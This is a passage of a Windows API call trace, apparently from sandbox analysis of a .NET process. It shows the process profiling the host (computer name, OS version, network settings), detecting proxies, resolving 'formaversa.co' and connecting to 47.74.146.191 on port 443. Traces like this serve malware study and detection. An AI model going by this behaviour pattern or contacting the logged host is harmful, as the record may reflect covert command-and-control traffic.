TokenHandle=0x1c7bd0d8*=0x374) returned 1 [0118.408] GetCurrentProcess () returned 0xffffffffffffffff [0118.408] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bd018 | out: TokenHandle=0x1c7bd018*=0x394) returned 1 [0118.414] GetCurrentProcess () returned 0xffffffffffffffff [0118.415] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bd018 | out: TokenHandle=0x1c7bd018*=0x3b4) returned 1 [0118.420] GetCurrentProcess () returned 0xffffffffffffffff [0118.421] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bd658 | out: TokenHandle=0x1c7bd658*=0x3b8) returned 1 [0118.450] RegQueryValueExW (in: hKey=0x3bc, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1c7bb69c, lpData=0x0, lpcbData=0x1c7bb698*=0x0 | out: lpType=0x1c7bb69c*=0x1, lpData=0x0, lpcbData=0x1c7bb698*=0xe) returned 0x0 [0118.450] CoTaskMemAlloc (cb=0x12) returned 0x1b400a20 [0118.450] RegQueryValueExW (in: hKey=0x3bc, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1c7bb66c, lpData=0x1b400a20, lpcbData=0x1c7bb668*=0xe | out: lpType=0x1c7bb66c*=0x1, lpData="Client", lpcbData=0x1c7bb668*=0xe) returned 0x0 [0118.473] CoTaskMemAlloc (cb=0xcd0) returned 0x1b40a840 [0118.474] RasEnumConnectionsW (in: param_1=0x1b40a840, param_2=0x1c7bd6ac, param_3=0x1c7bd6a8 | out: param_1=0x1b40a840, param_2=0x1c7bd6ac, param_3=0x1c7bd6a8) returned 0x0 [0118.728] CoTaskMemFree (pv=0x1b40a840) [0118.882] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1c7bd4b8 | out: lpWSAData=0x1c7bd4b8) returned 0 [0118.889] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x408 [0119.316] setsockopt (s=0x408, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0119.316] closesocket (s=0x408) returned 0 [0119.316] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x408 [0119.337] setsockopt (s=0x408, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0119.338] closesocket (s=0x408) returned 0 [0119.343] GetCurrentProcess () returned 0xffffffffffffffff [0119.343] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bcd38 | out: TokenHandle=0x1c7bcd38*=0x408) returned 1 [0119.353] GetCurrentProcess () returned 0xffffffffffffffff [0119.353] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bcd38 | out: TokenHandle=0x1c7bcd38*=0x40c) returned 1 [0119.383] GetCurrentProcessId () returned 0xb98 [0119.389] CoTaskMemAlloc (cb=0x204) returned 0x308140 [0119.389] GetComputerNameW (in: lpBuffer=0x308140, nSize=0x2eb7fd0 | out: lpBuffer="YKYD69Q", nSize=0x2eb7fd0) returned 1 [0119.389] RegQueryValueExW (in: hKey=0x410, lpValueName="Library", lpReserved=0x0, lpType=0x1c7bd19c, lpData=0x0, lpcbData=0x1c7bd198*=0x0 | out: lpType=0x1c7bd19c*=0x1, lpData=0x0, lpcbData=0x1c7bd198*=0x1c) returned 0x0 [0119.389] CoTaskMemAlloc (cb=0x20) returned 0x1b409cc0 [0119.389] RegQueryValueExW (in: hKey=0x410, lpValueName="Library", lpReserved=0x0, lpType=0x1c7bd16c, lpData=0x1b409cc0, lpcbData=0x1c7bd168*=0x1c | out: lpType=0x1c7bd16c*=0x1, lpData="netfxperf.dll", lpcbData=0x1c7bd168*=0x1c) returned 0x0 [0119.389] RegQueryValueExW (in: hKey=0x410, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x1c7bd19c, lpData=0x0, lpcbData=0x1c7bd198*=0x0 | out: lpType=0x1c7bd19c*=0x4, lpData=0x0, lpcbData=0x1c7bd198*=0x4) returned 0x0 [0119.391] RegQueryValueExW (in: hKey=0x410, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x1c7bd1a0, lpData=0x1c7bd19c, lpcbData=0x1c7bd198*=0x4 | out: lpType=0x1c7bd1a0*=0x4, lpData=0x1c7bd19c*=0x1, lpcbData=0x1c7bd198*=0x4) returned 0x0 [0119.391] RegQueryValueExW (in: hKey=0x410, lpValueName="First Counter", lpReserved=0x0, lpType=0x1c7bd19c, lpData=0x0, lpcbData=0x1c7bd198*=0x0 | out: lpType=0x1c7bd19c*=0x4, lpData=0x0, lpcbData=0x1c7bd198*=0x4) returned 0x0 [0119.391] RegQueryValueExW (in: hKey=0x410, lpValueName="First Counter", lpReserved=0x0, lpType=0x1c7bd1a0, lpData=0x1c7bd19c, lpcbData=0x1c7bd198*=0x4 | out: lpType=0x1c7bd1a0*=0x4, lpData=0x1c7bd19c*=0x137a, lpcbData=0x1c7bd198*=0x4) returned 0x0 [0119.391] RegCloseKey (hKey=0x410) returned 0x0 [0119.395] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.net clr networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c7bd1d8 | out: phkResult=0x1c7bd1d8*=0x410) returned 0x0 [0119.395] RegQueryValueExW (in: hKey=0x410, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x1c7bd15c, lpData=0x0, lpcbData=0x1c7bd158*=0x0 | out: lpType=0x1c7bd15c*=0x4, lpData=0x0, lpcbData=0x1c7bd158*=0x4) returned 0x0 [0119.395] RegQueryValueExW (in: hKey=0x410, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x1c7bd160, lpData=0x1c7bd15c, lpcbData=0x1c7bd158*=0x4 | out: lpType=0x1c7bd160*=0x4, lpData=0x1c7bd15c*=0x3, lpcbData=0x1c7bd158*=0x4) returned 0x0 [0119.395] RegQueryValueExW (in: hKey=0x410, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x1c7bd15c, lpData=0x0, lpcbData=0x1c7bd158*=0x0 | out: lpType=0x1c7bd15c*=0x4, lpData=0x0, lpcbData=0x1c7bd158*=0x4) returned 0x0 [0119.395] RegQueryValueExW (in: hKey=0x410, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x1c7bd160, lpData=0x1c7bd15c, lpcbData=0x1c7bd158*=0x4 | out: lpType=0x1c7bd160*=0x4, lpData=0x1c7bd15c*=0x20000, lpcbData=0x1c7bd158*=0x4) returned 0x0 [0119.395] RegQueryValueExW (in: hKey=0x410, lpValueName="Counter Names", lpReserved=0x0, lpType=0x1c7bd15c, lpData=0x0, lpcbData=0x1c7bd158*=0x0 | out: lpType=0x1c7bd15c*=0x3, lpData=0x0, lpcbData=0x1c7bd158*=0xaa) returned 0x0 [0119.395] RegQueryValueExW (in: hKey=0x410, lpValueName="Counter Names", lpReserved=0x0, lpType=0x1c7bd15c, lpData=0x2ebb298, lpcbData=0x1c7bd158*=0xaa | out: lpType=0x1c7bd15c*=0x3, lpData=0x2ebb298*, lpcbData=0x1c7bd158*=0xaa) returned 0x0 [0119.398] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0119.401] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x1c7bd110, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20000, lpName="Global\\netfxcustomperfcounters.1.0.net clr networking") returned 0x414 [0119.403] MapViewOfFile (hFileMappingObject=0x414, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1b4d0000 [0119.404] VirtualQuery (in: lpAddress=0x1b4d0000, lpBuffer=0x1c7bd108, dwLength=0x30 | out: lpBuffer=0x1c7bd108*(BaseAddress=0x1b4d0000, AllocationBase=0x1b4d0000, AllocationProtect=0x4, __alignment1=0xfffff880, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0119.404] LocalFree (hMem=0x1b408b40) returned 0x0 [0119.404] RegCloseKey (hKey=0x410) returned 0x0 [0119.407] GetVersionExW (in: lpVersionInformation=0x1c7bc0e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1c7bc0e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0119.408] GetVersionExW (in: lpVersionInformation=0x1c7bc0b0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1c7bc0b0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0119.409] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2ebbf48, cbSid=0x1c7bd0f0 | out: pSid=0x2ebbf48*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7bd0f0) returned 1 [0119.411] CreateMutexW (lpMutexAttributes=0x2ebc150, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0119.413] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0119.414] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2ebc468, cbSid=0x1c7bd050 | out: pSid=0x2ebc468*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7bd050) returned 1 [0119.414] CreateMutexW (lpMutexAttributes=0x2ebc620, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x0 [0119.415] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Global\\.net clr networking") returned 0x418 [0119.415] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0x1f4) returned 0x0 [0119.416] ReleaseMutex (hMutex=0x418) returned 1 [0119.416] CloseHandle (hObject=0x418) returned 1 [0119.417] GetCurrentProcessId () returned 0xb98 [0119.417] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb98) returned 0x418 [0119.418] GetProcessTimes (in: hProcess=0x418, lpCreationTime=0x1c7bd060, lpExitTime=0x1c7bd058, lpKernelTime=0x1c7bd050, lpUserTime=0x1c7bd048 | out: lpCreationTime=0x1c7bd060, lpExitTime=0x1c7bd058, lpKernelTime=0x1c7bd050, lpUserTime=0x1c7bd048) returned 1 [0119.418] CloseHandle (hObject=0x418) returned 1 [0119.419] ReleaseMutex (hMutex=0x410) returned 1 [0119.419] CloseHandle (hObject=0x410) returned 1 [0119.419] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2ebd468, cbSid=0x1c7bd0f0 | out: pSid=0x2ebd468*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7bd0f0) returned 1 [0119.420] CreateMutexW (lpMutexAttributes=0x2ebd620, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0119.420] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0119.421] ReleaseMutex (hMutex=0x410) returned 1 [0119.421] CloseHandle (hObject=0x410) returned 1 [0119.422] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2ebe288, cbSid=0x1c7bd0f0 | out: pSid=0x2ebe288*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7bd0f0) returned 1 [0119.422] CreateMutexW (lpMutexAttributes=0x2ebe440, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0119.422] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0119.423] ReleaseMutex (hMutex=0x410) returned 1 [0119.423] CloseHandle (hObject=0x410) returned 1 [0119.423] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2ebf0a0, cbSid=0x1c7bd0f0 | out: pSid=0x2ebf0a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7bd0f0) returned 1 [0119.423] CreateMutexW (lpMutexAttributes=0x2ebf258, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0119.423] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0119.424] ReleaseMutex (hMutex=0x410) returned 1 [0119.424] CloseHandle (hObject=0x410) returned 1 [0119.424] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2ebfeb0, cbSid=0x1c7bd0f0 | out: pSid=0x2ebfeb0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7bd0f0) returned 1 [0119.424] CreateMutexW (lpMutexAttributes=0x2ec0068, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0119.424] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0119.425] ReleaseMutex (hMutex=0x410) returned 1 [0119.425] CloseHandle (hObject=0x410) returned 1 [0119.426] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2ec0cc0, cbSid=0x1c7bd0a0 | out: pSid=0x2ec0cc0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7bd0a0) returned 1 [0119.426] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2ec1ae8, cbSid=0x1c7bd0a0 | out: pSid=0x2ec1ae8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7bd0a0) returned 1 [0119.426] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2ec28e0, cbSid=0x1c7bd0a0 | out: pSid=0x2ec28e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7bd0a0) returned 1 [0119.427] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2ec36e8, cbSid=0x1c7bd0a0 | out: pSid=0x2ec36e8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7bd0a0) returned 1 [0119.427] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2ec44e8, cbSid=0x1c7bd0a0 | out: pSid=0x2ec44e8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c7bd0a0) returned 1 [0119.428] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x418 [0119.429] ioctlsocket (in: s=0x410, cmd=-2147195266, argp=0x1c7bd6d8 | out: argp=0x1c7bd6d8) returned 0 [0119.446] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x41c [0119.446] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x420 [0119.446] ioctlsocket (in: s=0x41c, cmd=-2147195266, argp=0x1c7bd6d8 | out: argp=0x1c7bd6d8) returned 0 [0119.448] WSAIoctl (in: s=0x410, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c7bd650, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c7bd650, lpOverlapped=0x0) returned -1 [0119.448] CoTaskMemAlloc (cb=0x204) returned 0x307f30 [0119.448] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x307f30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0119.482] CoTaskMemFree (pv=0x307f30) [0119.483] WSAEventSelect (s=0x410, hEventObject=0x418, lNetworkEvents=512) returned 0 [0119.483] WSAIoctl (in: s=0x41c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c7bd650, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c7bd650, lpOverlapped=0x0) returned -1 [0119.483] CoTaskMemAlloc (cb=0x204) returned 0x307f30 [0119.483] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x307f30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0119.483] CoTaskMemFree (pv=0x307f30) [0119.483] WSAEventSelect (s=0x41c, hEventObject=0x420, lNetworkEvents=512) returned 0 [0119.484] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x424, param_3=0x3) returned 0x0 [0119.488] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x1c7bd790 | out: phkResult=0x1c7bd790*=0x43c) returned 0x0 [0119.488] RegNotifyChangeKeyValue (hKey=0x440, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x444, fAsynchronous=1) returned 0x0 [0119.489] RegNotifyChangeKeyValue (hKey=0x448, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x44c, fAsynchronous=1) returned 0x0 [0119.489] RegNotifyChangeKeyValue (hKey=0x450, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x454, fAsynchronous=1) returned 0x0 [0119.489] GetCurrentProcess () returned 0xffffffffffffffff [0119.489] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bd608 | out: TokenHandle=0x1c7bd608*=0x458) returned 1 [0119.495] GetCurrentProcess () returned 0xffffffffffffffff [0119.495] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bcdd8 | out: TokenHandle=0x1c7bcdd8*=0x45c) returned 1 [0119.499] GetCurrentProcess () returned 0xffffffffffffffff [0119.499] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bcdd8 | out: TokenHandle=0x1c7bcdd8*=0x460) returned 1 [0119.553] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1c7bd6d8 | out: pProxyConfig=0x1c7bd6d8) returned 1 [0120.233] SetEvent (hEvent=0x368) returned 1 [0120.257] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x1, ppwstrAutoConfigUrl=0x1c7bd5b0 | out: ppwstrAutoConfigUrl=0x1c7bd5b0*=0x0) returned 0 [0130.268] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x2, ppwstrAutoConfigUrl=0x1c7bd5b0 | out: ppwstrAutoConfigUrl=0x1c7bd5b0*=0x0) returned 0 [0133.209] GetCurrentProcess () returned 0xffffffffffffffff [0133.209] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bce48 | out: TokenHandle=0x1c7bce48*=0x4cc) returned 1 [0133.212] GetCurrentProcess () returned 0xffffffffffffffff [0133.213] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bce48 | out: TokenHandle=0x1c7bce48*=0x4c4) returned 1 [0133.234] SetEvent (hEvent=0x368) returned 1 [0133.336] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x1c7bd318 | out: pFixedInfo=0x0, pOutBufLen=0x1c7bd318) returned 0x6f [0133.344] LocalAlloc (uFlags=0x0, uBytes=0x258) returned 0x1b416130 [0133.344] GetNetworkParams (in: pFixedInfo=0x1b416130, pOutBufLen=0x1c7bd318 | out: pFixedInfo=0x1b416130, pOutBufLen=0x1c7bd318) returned 0x0 [0133.454] CoTaskMemAlloc (cb=0xd) returned 0x1b41eac0 [0133.454] inet_addr (cp="192.168.0.1") returned 0x100a8c0 [0133.454] CoTaskMemFree (pv=0x1b41eac0) [0133.456] LocalFree (hMem=0x1b416130) returned 0x0 [0133.539] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4d4 [0133.540] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4d0 [0133.541] CoTaskMemAlloc (cb=0xf) returned 0x1b41eac0 [0133.542] getaddrinfo (in: pNodeName="formaversa.co", pServiceName=0x0, pHints=0x1c7bd2c0*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1c7bd2b8 | out: ppResult=0x1c7bd2b8*=0x1b3e7290*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="formaversa.co", ai_addr=0x1b41eb60*(sa_family=2, sin_port=0x0, sin_addr="47.74.146.191"), ai_next=0x0)) returned 0 [0133.685] CoTaskMemFree (pv=0x1b41eac0) [0133.685] CoTaskMemFree (pv=0x0) [0133.687] FreeAddrInfoW (pAddrInfo=0x1b3e7290*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="潦浲癡牥慳挮o", ai_addr=0x1b41eb60*(sa_family=2, sin_port=0x0, sin_addr="47.74.146.191"), ai_next=0x0)) [0133.688] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4e0 [0133.688] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4c8 [0133.688] ioctlsocket (in: s=0x4e0, cmd=-2147195266, argp=0x1c7bd2d8 | out: argp=0x1c7bd2d8) returned 0 [0133.688] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4e8 [0133.688] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4ec [0133.688] ioctlsocket (in: s=0x4e8, cmd=-2147195266, argp=0x1c7bd2d8 | out: argp=0x1c7bd2d8) returned 0 [0133.688] WSAIoctl (in: s=0x4e0, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c7bd250, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c7bd250, lpOverlapped=0x0) returned -1 [0133.689] CoTaskMemAlloc (cb=0x204) returned 0x308560 [0133.689] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x308560, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0133.689] CoTaskMemFree (pv=0x308560) [0133.689] WSAEventSelect (s=0x4e0, hEventObject=0x4c8, lNetworkEvents=512) returned 0 [0133.689] WSAIoctl (in: s=0x4e8, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c7bd250, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c7bd250, lpOverlapped=0x0) returned -1 [0133.689] CoTaskMemAlloc (cb=0x204) returned 0x308560 [0133.689] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x308560, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0133.689] CoTaskMemFree (pv=0x308560) [0133.689] WSAEventSelect (s=0x4e8, hEventObject=0x4ec, lNetworkEvents=512) returned 0 [0133.691] GetAdaptersAddresses () returned 0x6f [0133.736] LocalAlloc (uFlags=0x0, uBytes=0xb88) returned 0x1b42a580 [0133.737] GetAdaptersAddresses () returned 0x0 [0133.750] WSAConnect (in: s=0x4d4, name=0x2ecfe78*(sa_family=2, sin_port=0x1bb, sin_addr="47.74.146.191"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0133.958] closesocket (s=0x4d0) returned 0 [0134.479] EnumerateSecurityPackagesW (in: pcPackages=0x1c7bd138, ppPackageInfo=0x1c7bd130 | out: pcPackages=0x1c7bd138, ppPackageInfo=0x1c7bd130) returned 0x0 [0134.481] lstrlenW (lpString="Negotiate") returned 9 [0134.482] CoTaskMemAlloc (cb=0x16) returned 0x1b41eb40 [0134.482] RtlMoveMemory (in: Destination=0x1b41eb40, Source=0x2c6560, Length=0x14 | out: Destination=0x1b41eb40) [0134.482] CoTaskMemFree (pv=0x1b41eb40) [0134.482] lstrlenW (lpString="Microsoft Package Negotiator") returned 28 [0134.482] CoTaskMemAlloc (cb=0x3c) returned 0x1b4093b0 [0134.482] RtlMoveMemory (in: Destination=0x1b4093b0, Source=0x2c6574, Length=0x3a | out: Destination=0x1b4093b0) [0134.482] CoTaskMemFree (pv=0x1b4093b0) [0134.483] lstrlenW (lpString="NegoExtender") returned 12 [0134.483] CoTaskMemAlloc (cb=0x1c) returned 0x1b41c840 [0134.483] RtlMoveMemory (in: Destination=0x1b41c840, Source=0x2c65ae, Length=0x1a | out: Destination=0x1b41c840) [0134.483] CoTaskMemFree (pv=0x1b41c840) [0134.483] lstrlenW (lpString="NegoExtender Security Package") returned 29 [0134.483] CoTaskMemAlloc (cb=0x3e) returned 0x1b4093b0 [0134.483] RtlMoveMemory (in: Destination=0x1b4093b0, Source=0x2c65c8, Length=0x3c | out: Destination=0x1b4093b0) [0134.483] CoTaskMemFree (pv=0x1b4093b0) [0134.483] lstrlenW (lpString="Kerberos") returned 8 [0134.483] CoTaskMemAlloc (cb=0x14) returned 0x1b41eb40 [0134.483] RtlMoveMemory (in: Destination=0x1b41eb40, Source=0x2c6604, Length=0x12 | out: Destination=0x1b41eb40) [0134.483] CoTaskMemFree (pv=0x1b41eb40) [0134.483] lstrlenW (lpString="Microsoft Kerberos V1.0") returned 23 [0134.483] CoTaskMemAlloc (cb=0x32) returned 0x1b3e7490 [0134.483] RtlMoveMemory (in: Destination=0x1b3e7490, Source=0x2c6616, Length=0x30 | out: Destination=0x1b3e7490) [0134.483] CoTaskMemFree (pv=0x1b3e7490) [0134.483] lstrlenW (lpString="NTLM") returned 4 [0134.483] CoTaskMemAlloc (cb=0xc) returned 0x1b41eb40 [0134.483] RtlMoveMemory (in: Destination=0x1b41eb40, Source=0x2c6646, Length=0xa | out: Destination=0x1b41eb40) [0134.483] CoTaskMemFree (pv=0x1b41eb40) [0134.483] lstrlenW (lpString="NTLM Security Package") returned 21 [0134.483] CoTaskMemAlloc (cb=0x2e) returned 0x1b3e7490 [0134.483] RtlMoveMemory (in: Destination=0x1b3e7490, Source=0x2c6650, Length=0x2c | out: Destination=0x1b3e7490) [0134.483] CoTaskMemFree (pv=0x1b3e7490) [0134.483] lstrlenW (lpString="Schannel") returned 8 [0134.483] CoTaskMemAlloc (cb=0x14) returned 0x1b41eb40 [0134.483] RtlMoveMemory (in: Destination=0x1b41eb40, Source=0x2c667c, Length=0x12 | out: Destination=0x1b41eb40) [0134.483] CoTaskMemFree (pv=0x1b41eb40) [0134.483] lstrlenW (lpString="Schannel Security Package") returned 25 [0134.483] CoTaskMemAlloc (cb=0x36) returned 0x1b3e7490 [0134.483] RtlMoveMemory (in: Destination=0x1b3e7490, Source=0x2c668e, Length=0x34 | out: Destination=0x1b3e7490) [0134.483] CoTaskMemFree 